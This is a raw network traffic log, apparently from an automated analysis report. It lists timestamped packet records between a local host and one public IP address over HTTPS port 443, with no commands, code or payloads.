Dec 30, 2024 19:45:13.556164980 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.556195974 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.556282997 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.556310892 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.556359053 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.556391001 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.556408882 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.556454897 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.556463003 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.556504011 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.556566954 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.556583881 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.556618929 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.556626081 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.556659937 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.556669950 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.556858063 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.556873083 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.556919098 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.556926966 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.556936979 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.556967974 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.557143927 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.557158947 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.557205915 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.557213068 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.557225943 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.557241917 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.557507038 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.557524920 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.557569027 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.557574987 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.557602882 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.557606936 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.557626963 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.557627916 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.557637930 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.557657003 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.557687998 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.558209896 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.561022997 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.561038971 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.561103106 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.561116934 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.561160088 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.644011974 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.644031048 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.644124031 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.644138098 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.644191027 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.644454956 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.644469976 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.644521952 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.644531012 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.644575119 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.644834042 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.644851923 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.644896984 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.644910097 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.644952059 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.645169020 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.645188093 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.645225048 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.645234108 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.645250082 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.645277977 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.645704031 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.645718098 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.645759106 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.645766973 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.645792961 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.645806074 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.645987988 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.646004915 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.646050930 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.646058083 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.646080017 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.646095037 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.646394968 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.646420956 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.646461964 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.646470070 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.646512032 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.646871090 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.646893024 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.646931887 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.646938086 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.647008896 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.647078037 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.732655048 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.732673883 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.732736111 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.732749939 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.732791901 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.733129025 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.733148098 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.733207941 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.733213902 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.733259916 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.733531952 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.733547926 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.733601093 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.733608007 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.733655930 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.734024048 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.734040022 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.734097958 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.734106064 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.734148979 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.734400988 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.734417915 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.734492064 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.734498978 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.734566927 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.734788895 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.734988928 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.735003948 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.735058069 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.735064983 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.735112906 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.735347033 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.735362053 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.735410929 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.735418081 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.735445023 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.735464096 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.735692978 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.735708952 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.735763073 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.735770941 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.735810041 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.736710072 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.816981077 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.817001104 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.817050934 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.817069054 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.817080021 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.817104101 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.817198038 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.817214966 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.817265987 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.817272902 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.817313910 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.817425966 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.817444086 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.817477942 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.817485094 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.817509890 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.817517042 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.817836046 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.817852974 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.817892075 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.817899942 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.817943096 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.818069935 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.818087101 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.818131924 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.818139076 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.818176985 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.818350077 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.818376064 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.818408966 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.818416119 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.818443060 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.818453074 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.818675995 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.818691015 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.818732977 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.818737984 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.818756104 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.818777084 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.818875074 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.818896055 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.818934917 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.818945885 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.818958044 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.818979025 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.829794884 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.903935909 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.903953075 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.904002905 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.904020071 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.904033899 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.904061079 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.904087067 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.904103994 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.904146910 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.904153109 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.904189110 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.904381990 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.904400110 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.904459000 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.904467106 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.904506922 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.904628992 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.904648066 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.904687881 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.904695034 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.904707909 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.904731989 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.904982090 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.904998064 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.905055046 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.905061960 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.905103922 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.905380964 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.905396938 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.905450106 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.905462027 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.905502081 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.905646086 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.905662060 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.905695915 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.905703068 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.905730963 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.905749083 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.905905962 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.905921936 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.905996084 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.906003952 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.906059980 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.906213999 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.990891933 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.990910053 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.990952969 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.990962982 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.990978956 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.990978956 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.990989923 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.990995884 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.991010904 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.991024971 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.991063118 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.991067886 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.991117001 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.991215944 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.991234064 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.991265059 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.991271973 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.991281986 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.991309881 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.991503000 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.991518974 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.991569996 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.991576910 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.991620064 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.991802931 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.991823912 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.991882086 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.991889000 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.991935015 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.992233992 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.992249966 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.992284060 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.992295027 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.992314100 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.992326021 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.992541075 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.992559910 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.992588997 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.992598057 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.992621899 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.992635965 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.992850065 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.992868900 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.992907047 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.992913008 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.992944956 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.993148088 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.077647924 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.077671051 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.077718019 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.077728987 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.077759027 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.077780008 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.077935934 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.077953100 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.077991009 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.078002930 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.078027010 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.078037024 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.078227997 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.078243971 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.078289986 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.078296900 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.078336954 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.078514099 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.078531981 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.078582048 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.078588009 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.078629971 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.078767061 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.078782082 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.078831911 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.078840017 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.078885078 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.079186916 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.079202890 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.079269886 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.079276085 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.079334974 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.079456091 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.079468012 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.079474926 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.079511881 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.079519033 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.079547882 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.079562902 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.079715014 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.079731941 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.079777956 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.079786062 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.079828024 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.080893993 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.164613008 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.164632082 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.164705038 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.164714098 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.164757967 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.164915085 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.164930105 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.164973974 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.164982080 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.165056944 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.165349007 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.165364027 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.165420055 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.165427923 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.165467024 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.165630102 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.165657043 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.165707111 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.165708065 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.165719986 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.165740967 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.165741920 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.165767908 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.165776014 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:14.165787935 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:14.165817976 CET	50050	443	192.168.2.4	51.79.230.147
